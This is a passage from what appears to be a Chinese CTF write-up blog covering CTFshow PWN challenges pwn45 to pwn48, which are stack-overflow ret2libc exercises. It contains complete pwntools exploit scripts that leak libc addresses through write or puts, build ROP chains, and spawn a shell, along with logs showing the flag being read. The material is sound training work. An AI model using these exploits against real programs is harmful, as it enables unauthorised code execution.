to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : This <span class="keyword">time</span> there is no replacement! How to <span class="keyword">do</span>?</span><br><span class="line">    * *************************************</span><br><span class="line">get system parameter!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  exp.py  pwn</span><br></pre></td></tr></table></figure><h2 id="pwn45"><a href="#pwn45" class="headerlink" title="pwn45"></a>pwn45</h2><p>Hint：32位，无 system 无 “&#x2F;bin&#x2F;sh”</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护关闭PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;O.o?&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  write(<span class="number">0</span>, <span class="string">&quot;Hello CTFshow!\n&quot;</span>, <span class="number">0xEu</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次发现下面有一个write函数，漏洞点还是在ctfshow函数，跟进查看一下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">103</span>]; <span class="comment">// [esp+Dh] [ebp-6Bh] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0xC8u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是明显的溢出漏洞了，只是其中的偏移变了，大差不差，现在我们关心的是如何去找到我们所需要的东西呢？现在既没有system，也没有“&#x2F;bin&#x2F;sh”</p><ul><li><p>system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。</p></li><li><p>即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。</p></li></ul><p>如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。</p><p>那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。<strong>当然，由于</strong> <strong>libc</strong> <strong>的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。</strong></p><p>在得到 libc 之后，其实 libc 中也是有 &#x2F;bin&#x2F;sh 字符串的，所以我们可以一起获得 &#x2F;bin&#x2F;sh 字符串的地址。</p><p>我们大概了解了这个流程后，我们看到程序这次多出了一个write函数，那么我们就选用它来进行泄露（使用其他的函数也可以，解题方法不唯一）</p><p>那么我们先列出一个大纲，去决定我们接下来怎么走：</p><ul><li><p>泄露write函数地址获取 libc 版本</p></li><li><p>获取 system 地址与 &#x2F;bin&#x2F;sh 的地址</p></li><li><p>再次执行源程序</p></li><li><p>触发栈溢出执行 system(‘&#x2F;bin&#x2F;sh’)</p></li><li><p>再一步步来讲解我们的利用过程：</p></li></ul><ol><li><p>泄露libc版本</p><p>write函数的原型：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">write</span><span class="params">(<span class="type">int</span> fd,<span class="type">const</span> <span class="type">void</span>*buf,<span class="type">size_t</span> count)</span>;</span><br></pre></td></tr></table></figure><p>fd:是文件描述符【<code>0</code> 表示标准输入，<code>1</code> 表示标准输出，<code>2</code> 表示标准错误】（write所对应的是写，即就是0） buf:通常是一个字符串，需要写入的字符串 count：是每次写入的字节数</p><p>首先填充(0x6b+4)个字节造成溢出，覆盖到返回地址，返回地址填上write函数的plt地址来调用 write函数，之后跟上main函数地址（重新执行程序，再次利用输入点来进行rop链构造），再设置 write函数；由此可以构造出payload</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">cyclic(0x6b+4)        # 填充缓冲区，覆盖到返回地址（0x6b是缓冲区大小，+4覆盖ebp）</span><br><span class="line">p32(write_plt)        # 覆盖返回地址为write函数的PLT地址（调用write）</span><br><span class="line">p32(main)             # write执行完后返回main函数（以便再次触发漏洞）</span><br><span class="line">p32(0)                # write的第一个参数：fd=0（标准输入）</span><br><span class="line">p32(write_got)        # write的第二个参数：buf=write函数在GOT表中的地址</span><br><span class="line">p32(4)                # write的第三个参数：count=4（读取4字节）</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = cyclic(<span class="number">0x6b</span>+<span class="number">4</span>) + p32(write_plt) + p32(main) + p32(<span class="number">1</span>) +</span><br><span class="line">p32(write_got) + p32(<span class="number">4</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;O.o?&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">write = u32(io.recvuntil(<span class="string">&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:]) <span class="comment"># 接收4字节地址</span></span><br><span class="line"><span class="comment">#print hex(write)</span></span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;write&#x27;</span>,write)  <span class="comment"># 计算libc加载基址</span></span><br></pre></td></tr></table></figure></li><li><p>算出程序的偏移量，计算system和bin&#x2F;sh的地址</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">libc_base = write - libc.dump(<span class="string">&#x27;write&#x27;</span>)</span><br><span class="line">system = libc_base + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libc_base + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br></pre></td></tr></table></figure></li><li><p>构造rop获取shell</p><p>payload &#x3D; cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh) #main可以是任意值0等</p></li></ol><p>大致流程如此，使用其他函数泄露遵循其他函数的原型，然后加上对应参数即可</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28202)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">payload = cyclic(<span class="number">0x6b</span>+<span class="number">4</span>) + p32(write_plt) + p32(main) +p32(<span class="number">4</span>)+p32(write_got) + p32(<span class="number">1</span>) <span class="comment">#write0,1都可以</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;O.o?&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">write = u32(io.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:])</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write))</span><br><span class="line"></span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;write&#x27;</span>,write)</span><br><span class="line">libc_base = write - libc.dump(<span class="string">&#x27;write&#x27;</span>)</span><br><span class="line">system = libc_base + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libc_base + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x6b</span>+<span class="number">4</span>) + p32(system) + p32(main) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28202: Done</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes</span><br><span class="line">  io.recvuntil(<span class="string">&#x27;O.o?&#x27;</span>)</span><br><span class="line">/CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes</span><br><span class="line">  write = u32(io.recvuntil(<span class="string">&#x27;\xf7&#x27;</span>)[-4:])</span><br><span class="line">0xf7df06f0</span><br><span class="line">[+] There are multiple libc that meet current constraints :</span><br><span class="line">0 - libc6_2.19-0ubuntu6_amd64</span><br><span class="line">1 - libc6_2.19-0ubuntu4_amd64</span><br><span class="line">2 - libc6_2.19-0ubuntu3_amd64</span><br><span class="line">3 - libc6_2.19-0ubuntu5_amd64</span><br><span class="line">4 - libc-2.36-22.mga9.x86_64</span><br><span class="line">5 - libc6-i386_2.27-3ubuntu1_amd64</span><br><span class="line">6 - libc6_2.17-93ubuntu2_amd64</span><br><span class="line">7 - libc6-i386_2.27-3ubuntu1.3_amd64</span><br><span class="line">8 - libc6-i386_2.27-3ubuntu1.4_amd64</span><br><span class="line">9 - libc6_2.17-93ubuntu4_amd64</span><br><span class="line">[+] Choose one : 5</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">bin</span><br><span class="line">boot</span><br><span class="line">dev</span><br><span class="line">etc</span><br><span class="line">flag</span><br><span class="line">home</span><br><span class="line">lib</span><br><span class="line">lib32</span><br><span class="line">lib64</span><br><span class="line">media</span><br><span class="line">mnt</span><br><span class="line">opt</span><br><span class="line">proc</span><br><span class="line">pwn</span><br><span class="line">root</span><br><span class="line">run</span><br><span class="line">sbin</span><br><span class="line">srv</span><br><span class="line">sys</span><br><span class="line">tmp</span><br><span class="line">usr</span><br><span class="line">var</span><br><span class="line">$ <span class="built_in">cat</span> flag</span><br><span class="line">ctfshow&#123;3315b627-b11a-49c3-a8ba-894839004a7e&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn46"><a href="#pwn46" class="headerlink" title="pwn46"></a>pwn46</h2><p>Hint：64位 无 system 无 “&#x2F;bin&#x2F;sh”</p><p>大致思路和上一题一样，不同的是64位的，前面也讲了它们的区别，大差不差</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop .*; ret&quot;</span></span><br><span class="line">0x00000000004005b6 : add byte ptr [rax], al ; pop rbp ; ret</span><br><span class="line">0x00000000004005b5 : add byte ptr [rax], r8b ; pop rbp ; ret</span><br><span class="line">0x0000000000400617 : add byte ptr [rcx], al ; pop rbp ; ret</span><br><span class="line">0x0000000000400612 : mov byte ptr [rip + 0x201a4f], 1 ; pop rbp ; ret</span><br><span class="line">0x0000000000400677 : nop ; pop rbp ; ret</span><br><span class="line">0x00000000004005b3 : nop dword ptr [rax + rax] ; pop rbp ; ret</span><br><span class="line">0x00000000004005f5 : nop dword ptr [rax] ; pop rbp ; ret</span><br><span class="line">0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400800 : pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400802 : pop r15 ; ret</span><br><span class="line">0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004005b8 : pop rbp ; ret</span><br><span class="line">0x0000000000400803 : pop rdi ; ret</span><br><span class="line">0x0000000000400801 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400615 : sbb ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret</span><br><span class="line">0x0000000000400614 : sbb r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">0x0000000000400803 : pop rdi ; ret</span><br><span class="line">0x0000000000400801 : pop rsi ; pop r15 ; ret</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">在 x86-64 架构中，函数参数通过寄存器传递：</span><br><span class="line">rdi：第一个参数（文件描述符 fd）</span><br><span class="line">rsi：第二个参数（缓冲区地址 buf）</span><br><span class="line">rdx：第三个参数（写入字节数 count）</span><br><span class="line"></span><br><span class="line">write函数原型为：</span><br><span class="line">ssize_t write(int fd, const void *buf, size_t count);</span><br><span class="line"></span><br><span class="line">ROP 链中：</span><br><span class="line">p64(1)：通过pop rdi将文件描述符1（标准输出）放入rdi。</span><br><span class="line">p64(write_got)：通过pop rsi将write的 GOT 表地址放入rsi，这是我们要泄露的内容。</span><br><span class="line">p64(0)：通过pop r15将r15填充为 0（r15是多余参数，因为write只需要 3 个参数）。</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">write_plt=elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got=elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">pop_rdi=<span class="number">0x400803</span></span><br><span class="line">pop_rsi_r15=<span class="number">0x400801</span></span><br><span class="line"></span><br><span class="line">payload=cyclic(<span class="number">0x70</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(<span class="number">1</span>)</span><br><span class="line">payload+=p64(pop_rsi_r15)+p64(write_got)+p64(<span class="number">0</span>)</span><br><span class="line">payload+=p64(write_plt)</span><br><span class="line">payload+=p64(main)</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;O.o?&quot;</span>,payload)</span><br><span class="line">write_addr = u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write_addr))</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so&#x27;</span>)  </span><br><span class="line">libc_base = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"><span class="comment">#libc = LibcSearcher(&#x27;write&#x27;, write_addr)</span></span><br><span class="line"><span class="comment">#libc_base = write_addr - libc.dump(&#x27;write&#x27;)</span></span><br><span class="line"><span class="comment">#system = libc_base + libc.dump(&#x27;system&#x27;)</span></span><br><span class="line"><span class="comment">#bin_sh = libc_base + libc.dump(&#x27;str_bin_sh&#x27;)</span></span><br><span class="line"></span><br><span class="line">payload=cyclic(<span class="number">0x70</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(bin_sh)+p64(system)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;O.o&quot;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 175</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">0x7ffff7ebc560</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">?</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  </span><br></pre></td></tr></table></figure><h2 id="pwn47"><a href="#pwn47" class="headerlink" title="pwn47"></a>pwn47</h2><p>Hint：ez ret2libc</p><p>一个简单的ret2libc的应用，给出了很多函数的地址以及“&#x2F;bin&#x2F;sh”字符串的地址</p><p>先检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序关闭栈保护与PIE保护</p><p>IDA查看一下main函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo(&amp;argc);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Give you some useful addr:\n&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;puts: %p\n&quot;</span>, &amp;<span class="built_in">puts</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;fflush %p\n&quot;</span>, &amp;fflush);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;read: %p\n&quot;</span>, &amp;read);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;write: %p\n&quot;</span>, &amp;write);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;gift: %p\n&quot;</span>, useful);                 <span class="comment">// &quot;/bin/sh&quot;</span></span><br><span class="line">  <span class="built_in">putchar</span>(<span class="number">10</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到输出了puts fflush read write 函数的地址，以及一个useful的地址，跟进查看：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:0804B028                 public useful</span><br><span class="line">.data:0804B028 useful          db &#x27;/bin/sh&#x27;,0          ; DATA XREF: main+AF↑o</span><br></pre></td></tr></table></figure><p>发现是“&#x2F;bin&#x2F;sh”的地址</p><p>运行程序尝试看一下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Ez ret2libc!</span><br><span class="line">    * *************************************</span><br><span class="line">Give you some useful addr:</span><br><span class="line"></span><br><span class="line">puts: 0xf7df2140</span><br><span class="line">fflush 0xf7defd10</span><br><span class="line"><span class="built_in">read</span>: 0xf7e909a0</span><br><span class="line">write: 0xf7e91b80</span><br><span class="line">gift: 0x804b028</span><br><span class="line"></span><br><span class="line">Start your show <span class="keyword">time</span>:</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rhea@rhea-VMware-Virtual-Platform:~/Desktop/CTFshow_pwn/libc-database$ ./find write 0xf7e91b80 puts 0xf7df2140</span><br><span class="line">ubuntu-glibc (libc6_2.39-0ubuntu8.4_i386)</span><br></pre></td></tr></table></figure><p>确实如此，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">152</span>]; <span class="comment">// [esp+Ch] [ebp-9Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Start your show time: &quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>依旧是栈溢出漏洞</p><p>而且直接给出了各个函数的地址，那么就更加简单了，这里我们通过泄露目标程序中 puts 函数的地址，并使用 LibcSearcher 类搜索 libc 版本和计算system函数的地址。又已知gift就是“&#x2F;bin&#x2F;sh”字符串的地址，将其也接收下来最后再进行getshell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;puts:&quot;</span>)</span><br><span class="line">puts=<span class="built_in">eval</span>(io.recvuntil(<span class="string">b&quot;\n&quot;</span>,drop=<span class="literal">True</span>))</span><br><span class="line">io.recvuntil(<span class="string">b&quot;gift:&quot;</span>)</span><br><span class="line">bin_sh=<span class="built_in">eval</span>(io.recvuntil(<span class="string">b&quot;\n&quot;</span>,drop=<span class="literal">True</span>))</span><br><span class="line"><span class="comment">#puts=0xf7df2140</span></span><br><span class="line"><span class="comment">#bin_sh=0x804b028</span></span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so&#x27;</span>)  </span><br><span class="line">libc_base = puts - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#libc=LibcSearcher(&quot;puts&quot;,puts)</span></span><br><span class="line"><span class="comment">#libc_base=puts-libc.dump(&quot;puts&quot;)</span></span><br><span class="line"><span class="comment">#system=libc_base+libc.dump(&quot;system&quot;)</span></span><br><span class="line">payload=<span class="string">b&quot;a&quot;</span>*(<span class="number">0x9c</span>+<span class="number">4</span>)+p32(system)+p32(<span class="number">0</span>)+p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>这里的我们详细分析这几行</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">io.recvuntil(<span class="string">&quot;puts: &quot;</span>)</span><br><span class="line">puts = <span class="built_in">eval</span>(io.recvuntil(<span class="string">&quot;\n&quot;</span> , drop = <span class="literal">True</span>))</span><br><span class="line">io.recvuntil(<span class="string">&quot;gift: &quot;</span>)</span><br><span class="line">bin_sh = <span class="built_in">eval</span>(io.recvuntil(<span class="string">&quot;\n&quot;</span> , drop = <span class="literal">True</span>))</span><br></pre></td></tr></table></figure><p>发现跟之前写的exp有所不同，但是实际上得到的效果是一样的，按照之前的写法也没问题，这里</p><p>仅仅是为了演示多种不同的函数写法。</p><p>先使用 recvuntil 函数接收远程服务器发送的数据，直到遇到字符串 “puts: “ 。然后使用eval 函数执行接收到的字符串，将其解析为一个表达式并求值，得到 puts 函数的地址。类似地，下面这段代码接收数据，直到遇到字符串 “gift: “ 。然后使用 eval 函数执行接收到的字符串，得到一个地址，赋值给 bin_sh 变量。</p><p>其他的就应该没什么问题了。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 333</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">Start your show <span class="keyword">time</span>:</span><br><span class="line">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\xa4\xdc\xf7</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn48"><a href="#pwn48" class="headerlink" title="pwn48"></a>pwn48</h2><p>Hint：没有write了，试试用puts吧，更简单了呢</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE</p><p>还是IDA查看一下main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;O.o?&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">103</span>]; <span class="comment">// [esp+Dh] [ebp-6Bh] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0xC8u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>栈溢出</p><p>套板子:</p><ol><li>利用puts函数去泄露libc版本</li><li>计算偏移量，算出程序里的system函数和字符串“&#x2F;bin&#x2F;sh”的地址</li><li>利用溢出漏洞，构造rop，获取shell</li></ol><p>32位的相对来说比64位的还是简单一些，通过上面这些应该对32位跟64位的程序漏洞利用已经有了</p><p>一个区分了。</p><figure 